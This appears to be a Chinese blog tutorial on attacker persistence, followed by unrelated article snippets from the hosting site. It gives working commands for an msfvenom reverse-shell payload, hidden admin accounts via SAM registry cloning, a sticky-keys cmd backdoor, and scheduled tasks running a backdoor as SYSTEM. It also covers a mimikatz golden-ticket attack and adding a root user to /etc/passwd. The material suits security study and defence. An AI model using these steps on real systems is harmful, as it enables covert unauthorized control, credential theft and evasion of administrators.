网络安全之权限维持那点事

权限维持

一旦黑客成功地入侵了目标系统,他们通常会尝试保持对系统的持久访问权,以便继续执行恶意活动,如窃取敏感数据、植入恶意软件、破坏系统功能等。

权限维持的过程可能包括以下几个方面:

  1. 后门植入:黑客可能会在系统中植入后门程序,以便在未来能够轻松地再次访问系统,而不需要重新入侵。这些后门可能是通过潜在的安全漏洞、恶意软件或其他技术手段实现的。

  2. 提权:黑客可能会试图提升其在系统中的权限级别,以获取更高级别的访问权限,从而能够执行更多的操作并访问更多的系统资源。这可能涉及利用系统或应用程序中的漏洞,或者尝试使用密码破解或其他攻击手段来获取更高级别的权限。

  3. 隐藏轨迹:黑客可能会采取措施来隐藏其活动的痕迹,以避免被系统管理员或安全团队发现。这可能包括清除日志文件、篡改审计记录、隐藏恶意进程等。

  4. 持续监控和访问:一旦黑客成功维持了对系统的访问权限,他们通常会持续监视系统并继续执行恶意活动,例如窃取数据、植入恶意软件或进行其他攻击。

我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门,权限维持的目的是保证自己的权限不会掉,一直控制目标

本篇文章主要讲了windows和Linux及其域权限维持

Windows权限维持

Windows权限

普通权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限,管理员组(Administrators)、高权限用户组(PowerUsers)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制(Replicator)、来宾用户组(Guests),身份验证用户组(Ahthenticated users)其中备份操作组和文件复制组为维护系统而设置,平时不会被使用。

管理员组拥有大部分的计算机操作权限(并不是全部),能够随意修改删除所有文件和修改系统设置只有程序信任组(特殊权限)。再往下就是高权限用户组,这一部分用户也能做大部分事情,但是不能修改系统设置,不能运行一些涉及系统管理的程序。普通用户组则被系统拴在了自己的地盘里,不能处理其他用户的文件和运行涉及管理的程序等。来宾用户组的文件操作权限和普通用户组一样,但是无法执行更多的程序。身份验证用户组(Ahthenticated users)经过ms验证程序登录的用户均属于此组。

特殊权限

除了上面提到的7个默认权限分组,系统还存在一些特殊权限成员,这些成员是为了特殊用途而设置,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、CREATOR OWNER(创建者)等,这些特殊成员不被任何内置用户组吸纳,属于完全独立出来的账户。

真正拥有“完全访问权”的只有一个成员:SYSTEM。这个成员是系统产生的,真正拥有整台计算机管理权限的账户,一般的操作是无法获取与它等价的权限的。

“所有人”权限与普通用户组权限差不多,它的存在是为了让用户能访问被标记为“公有”的文件,这也是一些程序正常运行需要的访问权限--任何人都能正常访问被赋予“Everyone”权限的文件,包括来宾组成员。

被标记为“创建者”权限的文件只有建立文件的那个用户才能访问,做到了一定程度的隐私保护。

但是,所有的文件访问权限均可以被管理员组用户和SYSTEM成员忽略,除非用户使用了NTFS加密。

无论是普通权限还是特殊权限,它们都可以“叠加"使用,“叠加”"就是指多个权限共同使用,例如一个账户原本属于Users组,而后我们把他加入Administrators组在加入Trustedinstaller等权限提升,那么现在这个账户便同时拥有两个或多个权限身份,而不是用管理员权限去覆盖原来身份。权限叠加并不是没有意义的,在一些需要特定身份访问的场合,用户只有为自己设置了指定的身份才能访问,这个时候“叠加”的使用就能减轻一部分劳动量了。

需要我们了解的权限如下

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

常见权限获取方法简要归类

后台权限:SQL 注入,数据库备份泄露,默认或弱口令等获取帐号密码进入。

网站权限:后台提升至网站权限,RCE 或文件操作类、反序列化等漏洞直达 Shell。

数据库权限:SQL 注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入。

接口权限:SQL 注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入。

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等。

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。

Windows常见权限介绍

  1. 后台权限(Back-end Permissions):后台权限通常指的是系统或应用程序的管理后台权限,允许用户对系统进行管理和配置。拥有后台权限的用户可以访问系统的管理界面,并进行用户管理、内容管理、配置设置等操作。这些权限通常由管理员或具有特定权限的用户持有。

  2. 网站权限(Website Permissions):网站权限指的是用户在网站上的操作和访问权限。这包括用户对网站内容的访问权限、发布内容的权限、评论权限等。不同用户可能具有不同级别的网站权限,例如普通用户、编辑、管理员等。

  3. 数据库权限(Database Permissions):数据库权限是指用户对数据库中数据和结构的访问和操作权限。拥有数据库权限的用户可以执行数据库查询、更新、删除等操作。数据库权限通常包括对特定表、视图、存储过程的操作权限。

  4. 接口权限(API Permissions):接口权限是指用户对系统或应用程序提供的API(应用程序接口)的访问和使用权限。拥有接口权限的用户可以使用API执行特定的功能或访问特定的数据。接口权限通常通过API密钥或访问令牌进行控制。

  5. 系统权限(System Permissions):系统权限是指用户对计算机系统的操作和管理权限。这包括对操作系统、文件系统、网络配置等的管理权限。拥有系统权限的用户可以执行系统级别的操作,如安装软件、配置网络、管理用户账户等。

  6. 域控权限(Domain Controller Permissions):域控权限是指在Windows域环境中对域控制器的操作权限。域控制器是Windows域中的关键服务器,用于集中管理域中的用户账户、组策略、安全性等。拥有域控权限的用户可以执行域中的管理操作,如管理用户账户、设置组策略、配置域信任关系等。

Windows权限维持

Windows 操作系统常见持久性后门:

通过博客的翻阅和学习看到了几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。

(1)Windows系统隐藏账户

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。

演示一下:

(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

首先我们拿到windows10的权限:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=1000 -f exe -o met.exe

 将我们生成的met.exe文件在目标机打开。

设置本地IP和监听端口

直接run

shell拿到管理员权限乱码的话 chcp65001就可以解决

接下来进行权限维持

在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add

查看电脑用户

net user hack$ Admin@123 /add

查看没有这个用户

注册表克隆用户隐藏

因为$用户可以看到,在上一步的基础上我们打开注册表,在注册表操作进行用户隐藏

提示:该操作建立在上面$符号隐藏用户的基础上的

虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

1603594925_5f94eaad965ba49e8f807.png!small?1603594925728

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:

1603595456_5f94ecc0a8929859dea9f.png!small?1603595456658

复制000001F4目录中的F键的值:

1603595572_5f94ed34aee514da735e3.png!small?1603595572724

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。

1603595699_5f94edb38255cef869458.png!small?1603595699463

然后将000001F4的F值粘贴到000003E9的F值中,点击确定:

1603595867_5f94ee5be472504f50292.png!small?1603595867883

然后从注册表中右键导出000003E9和whoami$,并删除whoami$用户 net user whoami$ /del:

1603596035_5f94ef03270db8bfd87dc.png!small?1603596035640

1603596070_5f94ef261cfe970ed171d.png!small?1603596085555

1603596143_5f94ef6f269de031a83ac.png!small?1603596143135

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:

1603596406_5f94f0765dd947291b28b.png!small?1603596406503

这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。

2.Shift后门

shift快捷键的介绍

Windows的粘滞键是c:\windows\system32\set\sethc.exe的程序,它本是为不方便组合键的人设计的,windows系统按5下shift后,windows就执行了system32下的sethc.exe,也就是启用了粘滞键

但是当我们来登录系统停留在登录界面的时候,系统还不知道我们将以哪个用户登录,所以这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序

shift后门原理

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

shift后门制作

1.在命令行执行以下命令,为复制cmd.exe为sethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是会提示拒绝访问

2.需要更改文件权限,如下命令

takeown /f c:\windows\system32\*.* /a /r /d y       注释:强制将当前目录下的所有文件以及文件夹,子文件夹下的所有者更改为管理员组(administrator)
cacls c:\windows\system32\*.* /T /E /G administrator:F  注释:在当前目录下的文件,子文件夹的NTFS权限上添加管理员组(administrator)完全控制权限(并不删除原有NTFS权限设置)

 (这里我的管理员账户是client所有我把administrator换成了client)在搞一下

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

此时再回到账户页面将会发现粘滞键变成了cmd

总结:

粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

  • 首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。

  • 最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成

参考:域内权限维持思路总结_domain\account\users-CSDN博客

Windows 计划任务后门

Windows 计划任务后门是一种常见的持久化技术,它利用了Windows操作系统中的计划任务功能,使得恶意程序可以在特定的时间点执行,从而实现对目标系统的持续控制。这种后门通常包括以下几个关键步骤:

  1. 利用计划任务功能创建任务:黑客首先利用Windows操作系统提供的计划任务功能创建一个任务,设置任务在指定的时间点或间隔执行。这可以通过命令行工具(如schtasks命令)、PowerShell脚本或者编程接口(如Windows API)来完成。

  2. 指定执行的有效负载:在创建任务时,黑客会指定要执行的有效负载,即恶意程序的路径或命令。这个有效负载可以是位于目标系统本地磁盘上的可执行文件、PowerShell脚本,或者是远程位置(如Web服务器)上的文件。有效负载可以是任何可执行的代码,用于实现黑客所需的功能,比如建立远程连接、窃取信息、执行攻击等。

  3. 持久化设置:黑客通常会修改计划任务的设置,使得任务在系统启动时自动启动,或者定期执行,从而实现持久化。这可以通过设置任务的触发器(Trigger)来实现,比如设置任务在用户登录时执行,或者设置任务每隔一段时间执行。

  4. 隐藏迹象:为了尽量减少被检测到的风险,黑客可能会采取一些措施来隐藏计划任务后门的迹象,比如修改任务的名称、描述、触发器等信息,或者在执行过程中尽量减少对系统资源的占用。

1)利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

1. 首先在目标主机上传metasploit生成的后门程序:

1603605135_5f95128f5471c6a058f19.png!small?1603605135298

2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:

net time

1603609183_5f95225f6e89a7efe81b4.png!small?1603609183395

3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:

at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

1603609220_5f95228418a8fd454bef0.png!small?1603609220061

如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

1603609306_5f9522da119d12e426741.png!small?1603609312089

(2)利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks创建后门的大致流程如下:

1. 首先在目标主机上传metasploit生成的后门程序。

2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:

schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

1603610327_5f9526d7d9ecc3cf38aab.png!small?1603610327819

然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:

1603610417_5f9527311484cdfbcfe19.png!small?1603610423560

并且这个session还是system权限的。

域控制器权限维持常见思路

在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。

内网横向——域渗透之黄金票据复现-CSDN博客黄金票据(Golden ticket)

在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash

测试环境如下所示:

我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。

域成员主机:Windows 7(192.168.183.131)
域名:DEMO.com
用户名:douser

域控制器:192.168.183.130
域名:DEMO.com 
用户名:administrator

首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

privilege::debug
lsadump::lsa /patch        // 专用于在域控制器上导出用户密码或hash

如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810

然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi

kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:

kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi    //再将生成的票据注入域用户主机Windows7中
// kerberos::ptt <票据文件>   

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

kerberos::tgt

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录

dir \\WIN-ENS2VR5TR3N\c$

Linux权限维持

一、木马隐藏

权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持

1、时间伪造

2、隐藏文件

Linux中以"."(点号)开头的就是隐藏文件

而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下

可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt

而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件

3、chattr命令

Linux chattr命令用于改变文件属性。

这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:

a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。

二、添加用户

1、正常生成

步骤如下

1、创建一个名为test,密码为123456的root权限用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

2、创建之后直接使用root权限登录就可以了

2、改写文件

步骤如下

生成加密后的密码,如下就是生成加密后的123456

perl -le 'print crypt('123456',"addedsalt")'

将加密结果写入passwd文件,这里就是test用户,密码为123456

echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/530464.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

探秘大模型:《提示工程:技巧、方法与行业应用》背后的故事

提示工程是一种新兴的利用人工智能的技术&#xff0c;它通过设计提示引导生成式 AI 模型产生预期的输出&#xff0c;来提升人与 AI 的互动质量&#xff0c;激发 AI 模型的潜力&#xff0c;提升AI的应用水平。 为了让每一个人都拥有驱动大模型的能力&#xff0c;以微软全球副总裁…

C++设计模式:原型模式(八)

1、定义与动机 定义&#xff1a;使用原型实例指定创建对象的种类&#xff0c;然后通过拷贝这些原型来创建新的对象。 动机&#xff1a; 在软件系统中&#xff0c;经常面临着“某些结构复杂的对象”的创建工作&#xff1b;由于需求的变化&#xff0c;这些对象经常面临着剧烈的变…

Window安装PostgresSQL

PostgreSQL 安装参考&#xff1a;Windows下安装PostgreSQL_window 安装postgresql-CSDN博客 安装好后打开pgAdmin4 配置Navicat连接PostgresSQL 找到安装目录文件 pg_hba.conf 修改配置增加&#xff1a; 修改前&#xff1a; # TYPE DATABASE USER ADDRES…

AI论文精读之CSPNet—— 一种加强CNN模型学习能力的主干网络

目录 一、论文摘要部分 二、提出背景 三、本文的方法 3.1 DenseNet 3.2 Cross Stage Partial DenseNet 3.3 引入 partial dense block及partial transition layer的目的 3.3.1 partial dense block 3.3.2 partial transition layer 3.4 将CSPNet应用到其他结构中 3.5 E…

100 Explosion Pack

该套装包括100种爆炸效果,包括火灾爆炸、冲击波、风暴、奇异点、特斯拉等效果。 纹理有一个透明的alpha通道,所以你可以在任何背景上使用它们! 所有效果都是高质量的,动画流畅(64帧,每帧512像素) 每个效果都使用独特的高质量精灵表。 100个不同的小精灵大小:4096x4096 …

IO流(2.其他流)

能够高效读写的缓冲流&#xff0c;能够转换编码的转换流&#xff0c;能够持久化存储对象的序列化流 一、缓冲流 缓冲流,也叫高效流&#xff0c;是对4个基本的FileXxx 流的增强&#xff0c;所以也是4个流&#xff0c;按照数据类型分类&#xff1a; 字节缓冲流&#xff1a;Buffe…

【中文医疗词嵌入模型】SMedBERT:结构化知识图谱 + 混合注意力机制 + 提及-邻居上下文建模

【中文医疗词嵌入模型】SMedBERT&#xff1a;结构化知识图谱 混合注意力机制 提及-邻居上下文建模 提出背景SMedBERT 具体到点的设计逻辑SMedBERT的背景SMedBERT的工作原理 SMedBERT 具体实现细节3.1 符号和模型3.2 Top-K Entity Sorting3.3 提及-邻居混合注意力3.4 提及-邻居…

Softing工业将亮相2024汉诺威工业博览会——工业物联网的数据集成和连接

您可在2024年4月22至26日前往汉诺威参观Softing展台&#xff0c;我们将在015号馆的F48展位进行展出&#xff0c;期待您的莅临&#xff01; | 通过灵活的数据集成解决方案无缝连接机器 在此次汉诺威工业博览会上&#xff0c;您将了解到Softing数据集成解决方案——用于机器连接…

【深度学习|基础算法】初识Transformer-encoder-decoder

关于transformer的学习 一、前言二、初识Transformer2.1 总览2.2 encoder2.3 decoder 三. 流程与细节1、输入2、self-attention 一、前言 我本身是从事图像算法行业的&#xff0c;在之前主要是做传统的图像算法&#xff0c;后来接触了基于CNN的神经网络图像算法&#xff0c;包括…

[ritsec CTF 2024] 密码部分

这个比较密码这块还是比较简单的&#xff0c;经过问了N人以后终于完成。 [Warm Up] Words 给了个猪圈密码的图片&#xff0c;这东西好久不见的感觉。 [Warm Up] Emails MTP似乎也没多好的方法&#xff0c;猜更快&#xff0c;先给了几封email然后一个用MTP长度是32&#xff08…

【微服务】------常见模型的分析与比较

DDD 分层架构 整洁架构 整洁架构又名“洋葱架构”。为什么叫它洋葱架构&#xff1f;看看下面这张图你就明白了。整洁架构的层就像洋葱片一样&#xff0c;它体现了分层的设计思想。 整洁架构最主要的原则是依赖原则&#xff0c;它定义了各层的依赖关系&#xff0c;越往里依赖越…

HUD抬头显示器中如何设计LCD的阳光倒灌实验

关键词&#xff1a;阳光倒灌实验、HUD光照温升测试、LCD光照温升测试、太阳光模拟器 HUD&#xff08;Head-Up Display&#xff0c;即抬头显示器&#xff09;是一种将信息直接投影到驾驶员视线中的技术&#xff0c;通常用于飞机、汽车等驾驶舱内。HUD系统中的LCD&#xff08;Liq…

51单片机之LED点阵屏

目录 1.LED点阵屏简介 2.配置LED点阵屏代码 1.LED点阵屏简介 LED点阵屏真的是遍布我们我们生活的每个角落&#xff0c;从街边的流动显示字的招牌到你的液晶显示屏&#xff0c;都是基于点阵屏的原理研究出来的。还有那个世界上最大的球状建筑物&#xff1a;MSG Sphere&#xff…

GridView控件的使用(一)

GridView控件通常用于在Windows窗体或Web应用程序中显示数据表格。它是一个强大的数据绑定控件&#xff0c;能够灵活地显示和编辑数据源中的数据。 在何种情况下应使用GridView进行绑定控件&#xff1a; 显示结构化数据&#xff1a;当您需要展示一系列具有相同字段的数据记录…

机器学习 —— 使用机器学习进行情感分析 详细介绍版

机器学习 —— 使用机器学习进行情感分析 详细介绍版 机器学习 —— 使用机器学习进行情感分析 演示版 目录 一、 绪论二、 数据处理1. 构建CSV文档2. 构建模型前的思考2.1. 问题2.2. 解决方法 3. 读取数据4. 用正则表达式来进行对特定符号的剔除5. 使用口袋模型进行文本处理和…

稀碎从零算法笔记Day44-LeetCode:整数转罗马数字

题型&#xff1a;贪心、模拟 链接&#xff1a; 12. 整数转罗马数字 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 罗马数字包含以下七种字符&#xff1a; I&#xff0c; V&#xff0c; X&#xff0c; L&#xff0c;C&#xff0c;D 和 M。 …

【Springboot开发】后端代码基础框架

前言&#xff1a;主要介绍最基础的springboot开发架构 目录 1. overall2. 配置文件2.1 YAML2.2 properties2.3 配置文件加载顺序2.4 多配置文件 3. 代码包3.1 infrastructure3.1.1 persistence 3.2 application3.2.1 dto3.2.2 converter3.2.3 service 3.3 api3.3.1 vo3.3.2 req…

go websocket

WebSocket 是一种网络协议&#xff0c;建立在 HTTP 协议之上&#xff0c;允许双向通信。WebSocket 协议允许服务器发送数据到客户端&#xff0c;同时也可以让客户端向服务器发送数据。WebSocket 使用 HTTP 协议的升级请求和响应来建立连接。WebSocket 的主要优点在于它可以通过…

【JavaSE】接口 详解(下)

前言 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 前言 接口实例运用 代码举例理解 比较对象的年龄 比较对象的姓名 利用冒泡排序实现Array.sort 年龄比较器 姓名比较器 比较示例测试 clone接口 浅拷贝和深拷贝 浅…

代码随想录学习Day 26

332.重新安排行程 题目链接 from collections import defaultdictclass Solution:def findItinerary(self, tickets):targets defaultdict(list) # 创建默认字典&#xff0c;用于存储机场映射关系for ticket in tickets:targets[ticket[0]].append(ticket[1]) # 将机票输入…